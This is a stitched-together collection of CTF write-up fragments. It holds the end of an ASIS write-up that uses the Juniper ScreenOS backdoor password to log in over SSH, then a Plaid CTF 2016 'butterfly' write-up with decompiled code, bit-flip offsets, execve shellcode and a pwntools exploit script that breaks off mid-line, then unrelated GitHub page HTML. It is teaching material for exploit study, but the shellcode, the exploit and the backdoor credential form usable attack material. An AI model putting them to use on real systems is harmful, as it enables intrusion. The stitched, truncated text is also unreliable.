ARGH! There are no backups! These are only some user guides and images. Maybe there is some stegano involved? Erm, no. These are untouched files downloaded straight from the Internet (we've managed to find all of them - except Links.txt - and compare checksums).
But at least we know target device - Juniper SRX100 firewall with ScreenOS. Maybe default passwords are working? Unfortunately, no.
If you are lucky, you've heard something about Juniper at the end of 2015. If not... you would probably start searching for known vulnerabilities now, right?
There is one really interesting critical vulnerability - [CVE-2015-7755: Juniper ScreenOS Authentication Backdoor](https://community.rapid7.com/community/infosec/blog/2015/12/20/cve-2015-7755-juniper-screenos-authentication-backdoor). Speaking briefly, all you need to access ScreenOS device with backdoored firmware, is any valid username and `<<< %s(un='%s') = %u` password (easy to mistake it for some debugging format string in source code, huh?).
We still need a valid username. It's not `netscreen`, it's not `admin`, neither `root` or `sys-admin`. Maybe there something in the `.tar` archive itself? File modification dates seem odd. It's not any of the filenames, there are no comments in archive...
But you should now one little thing, evil sys-admin. By default `tar` preserves file owner and group usernames in plaintext format!
```$ tar --list -tf juniper.tar.xzdrwxr-xr-x craigswright/craigswright 0 2016-05-06 13:37 juniper/-rwxr-xr-x craigswright/craigswright 575639 2016-05-06 13:37 juniper/rn_540r9.pdf-rwxr-xr-x craigswright/craigswright 62711 2016-05-06 13:37 juniper/Firewall-Juniper.jpg-rwxr-xr-x craigswright/craigswright 19658 2016-05-06 13:37 juniper/juniper-srx100.jpg-rwxr-xr-x craigswright/craigswright 190373 2016-05-06 13:37 juniper/upgrade_guide.pdf-rwxr-xr-x craigswright/craigswright 725 2016-05-06 13:37 juniper/Links.txt-rwxr-xr-x craigswright/craigswright 68122 2016-05-06 13:37 juniper/netscreen-640x364.jpg-rwxr-xr-x craigswright/craigswright 21671 2016-05-06 13:37 juniper/srx100.jpg-rwxr-xr-x craigswright/craigswright 662466 2016-05-06 13:37 juniper/630_upgrade.pdf```
Is `craigswright` our sys-admin from hell?
```$ ssh juniper.asis-ctf.ir -l craigswright[email protected]-ctf.ir's password:ASIS{wh0_1n_h15_r16h7_m1nd_w0uld_b3l13v3_cr416_wr16h7_15_54705h1_n4k4m070}Connection to juniper.asis-ctf.ir closed.```
Yes, he is. But we're not sure whether is he a creator of Bitcoin. :) |
# Plaid CTF 2016: butterfly
## Challenge details| Event | Challenge | Category | Points ||:------|:----------|:---------|-------:|| Plaid CTF | butterfly | Pwnable | 150 |
### Description> Sometimes [the universe smiles upon you](challenge). And sometimes, well, you just have to roll your sleeves up and do things yourself. Running at butterfly.pwning.xxx:9999
## Write-up
We're given the following executable:
```bashfile butterflybutterfly; ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, not stripped
./checksec.sh --file butterfly RELRO STACK CANARY NX PIE RPATH RUNPATH FILENo RELRO Canary found NX enabled No PIE No RPATH No RUNPATH butterfly```
Which has the following decompilation in IDA:
```c bint = strtol(&buffer, 0LL, 0); bint2 = bint; v6 = (_BYTE *)(bint >> 3); mprotaddr = (void *)((bint >> 3) & 0xFFFFFFFFFFFFF000LL); if ( mprotect(mprotaddr, 0x1000uLL, 7) ) // PROT_READ | PROT_WRITE | PROT_EXEC { perror("mprotect1"); } else { v3 = 1; *v6 ^= 1 << (bint2 & 7); if ( mprotect(mprotaddr, 0x1000uLL, 5) ) // PROT_READ | PROT_EXEC { perror("mprotect2"); } else { puts("WAS IT WORTH IT???"); v3 = 0; }```
So what we have here is a situation where we can determine an address where the corresponding memory page will be made readable, writable and executable (RWX) and at that address a single bit of our choice will be flipped after which the page will be made readable and executable only (RX). The idea, as hinted by the challenge description, is akin to God hitting the executable with a cosmic ray that flips a single bit somewhere and using that we need to achieve arbitrary code execution.
The scenario we will try to achieve is to put the following shellcode:
```c"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"```
### Crafting the bit-flipping exploit primitive
On the stack, make sure the stack is RWX and transfer control-flow to the stack. There are various natural targets for bit-flipping but our first target for our 'cosmic ray' will be the stackframe unwinding instruction in the function epilogue:
```asm0x400860 add rsp, 48h```
Which we will turn into```0x400860 add rsp, 08h```
If we do this the epilogue will not properly unwind the stackframe and values from our buffer will be popped into the registers and eventually also end up as the return address picked by the `retn` instruction. As a result we will be able to hijack control-flow with our buffer whenever we execute the main function. The 'cosmic ray' to achieve this is:
```c((0x400863 << 3) | 6) = 33571614```
Where `0x400863` is the target address and `6` the bit index we wish to flip. Our buffer would look like:
`33571614AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEE`
where `EEEEEEEE = return address`.
We will pick the main function start address `0x400788` as our return address so we can execute the bitflipping exercise again but this time with the modified epilogue. This effectively gives us a situation where we can flip arbitrary bits in the program and redirect control-flow afterwards, a pretty powerful exploitation primitive.
### Crafting a shellcode dispatcher
Now we want a way to redirect control-flow to our shellcode which will be placed on the stack eventually. Since ASLR is enabled and we cannot leak memory addresses we will need (to craft) a `jmp rsp / call rsp` instruction in our code. Looking at the executable code we find:
```asm 00000000004006E5 jmp rax```
We can XOR this with 4 to craft a jmp rsp instruction which gives our second 'cosmic ray':
```c((0x4006E6 << 3) | 2) = 33568562```
We redirect to the function start again.
### Getting rid of the stack cookie check
Let's get rid of that stack cookie check restricting our ability to juggle and mess with the stack first before it becomes a problem:
```asm .text:000000000040085B jnz short loc_400883 .text:000000000040085D mov eax, r14d```
This translates to opcodes:
```75 26 44 89 F0```
If we XOR the first byte with 0x40 we can turn this into
```35 26 44 89 F0```
Which is the instruction
```asmxor eax, 0xF0894426```
Thus taking care of that conditional jump and hence avoiding the consequences of messing with the stack cookie.
### Giving ourselves some buffer space for shellcode
Our buffer is limited to 50 bytes and while it is probably possible to craft shellcode fitting in there together with the target address representation and return address we will give ourselves a little space by bitflipping the number of bytes `fgets` will read from input so that we can specify larger shellcodes:
```asm.text:00000000004007C3 mov esi, 32h ; n```
Which we XOR with 0x40 so that we now read `0x72` bytes (giving us `0x40` bytes extra).
### Modifying the second mprotect call
Before we can make the stack RWX we will need to modify the second mprotect call since otherwise the stack will be made RX only (and non-writable) by the second mprotect call which is a problem for obvious reasons. We target the protection-flag setting instruction:
```asm .text:000000000040082F mov edx, 5 ; prot```
By turning it into:
```asmmov edx, 7```
As a result the second mprotect call will also set RWX protections and won't bother us.
### Making the stack RWX
When calling the `mprotect` function the application uses the `r15` register to specify the target modification address (from which the page address is derived). We flip a single bit here again to make sure `mprotect` is called over the stack rather than any address we specify:
```asm .text:00000000004007EF mov r15, rbp```
And turn it into:
```asmmov r15, rsp```
We redirect to the function start again and this time the mprotect call(s) will make the stack RWX. Keep in mind, however, that the address we specify will no longer be made writable so specify a scratch address somewhere in the `.data` section (which is writable) so the bitflipping code won't cause problems. After this we redirect once again to the function start.
### Supplying the shellcode
Finally we will supply the shellcode and an appropriate return address, together with the same scratch address, to the buffer so that the shellcode gets read to the (now RWX) stack, the function epilogue returns to an address of our choice (the crafted `jmp rsp`) and execution is redirected to our shellcode. Keep in mind, however, since our shellcode is located on the stack that we might want to start the shellcode off with some stackpointer adjustment to prevent any pushes and pops in there from becoming a self-modifying mess.
The [complete exploit](solution/butterfly_sploit.py) looks as follows:
```python#!/usr/bin/env python## Plaid CTF 2016# butterfly (CRYPTO/200)## @a: Smoke Leet Everyday# @u: https://github.com/smokeleeteveryday#
from pwn import *from struct import pack, unpack
shellcode = "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
host = 'butterfly.pwning.xxx'port = 9999
function_start_addr = 0x400788rsp_adjust_addr = 0x400863jmp_rax_addr = 0x4006E6jnz_stckchk_addr = 0x40085Bfgets_cnt_addr = 0x4007C4mov_edx_5_addr = 0x400830mov_r15_rbp_addr = 0x4007F1scratch_addr = 0x600D10
jmp_rsp = 0x4006E5padding = "\x90" * 32adjust_rsp_instr = "\x48\x83\xEC\x60"
pop_rbx = 'A'*8pop_r14 = 'B'*8pop_r15 = 'C'*8pop_rbp = 'D'*8
cosmic_ray_0 = str(((rsp_adjust_addr << 3) | 6)) + pop_rbx + pop_r14 + pop_r15 + pop_rbp + pack(' |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctf-writeup/2016_defcon/glados at master · DaramG/ctf-writeup · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="B391:F4A8:5809F57:5A77FF2:6412295D" data-pjax-transient="true"/><meta name="html-safe-nonce" content="57f156da79e1565981099520e00104f6ce50c464e4bbcab53bb360a7f0a01662" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCMzkxOkY0QTg6NTgwOUY1Nzo1QTc3RkYyOjY0MTIyOTVEIiwidmlzaXRvcl9pZCI6IjQyNTIwNDQzMDUwNTU3NTQ1ODkiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="93b0ff23b10dcb97bddd1781b32e8adee4ad406670394a6b5d385c26fa7ec361" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:59453325" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to DaramG/ctf-writeup development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/cddc598ccea20e8d6e26446e27bc87fc4a2c494b65814435963dbf5316030708/DaramG/ctf-writeup" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-writeup/2016_defcon/glados at master · DaramG/ctf-writeup" /><meta name="twitter:description" content="Contribute to DaramG/ctf-writeup development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/cddc598ccea20e8d6e26446e27bc87fc4a2c494b65814435963dbf5316030708/DaramG/ctf-writeup" /><meta property="og:image:alt" content="Contribute to DaramG/ctf-writeup development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-writeup/2016_defcon/glados at master · DaramG/ctf-writeup" /><meta property="og:url" content="https://github.com/DaramG/ctf-writeup" /><meta property="og:description" content="Contribute to DaramG/ctf-writeup development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/DaramG/ctf-writeup git https://github.com/DaramG/ctf-writeup.git">
<meta name="octolytics-dimension-user_id" content="8486670" /><meta name="octolytics-dimension-user_login" content="DaramG" /><meta name="octolytics-dimension-repository_id" content="59453325" /><meta name="octolytics-dimension-repository_nwo" content="DaramG/ctf-writeup" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="59453325" /><meta name="octolytics-dimension-repository_network_root_nwo" content="DaramG/ctf-writeup" />
<link rel="canonical" href="https://github.com/DaramG/ctf-writeup/tree/master/2016_defcon/glados" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
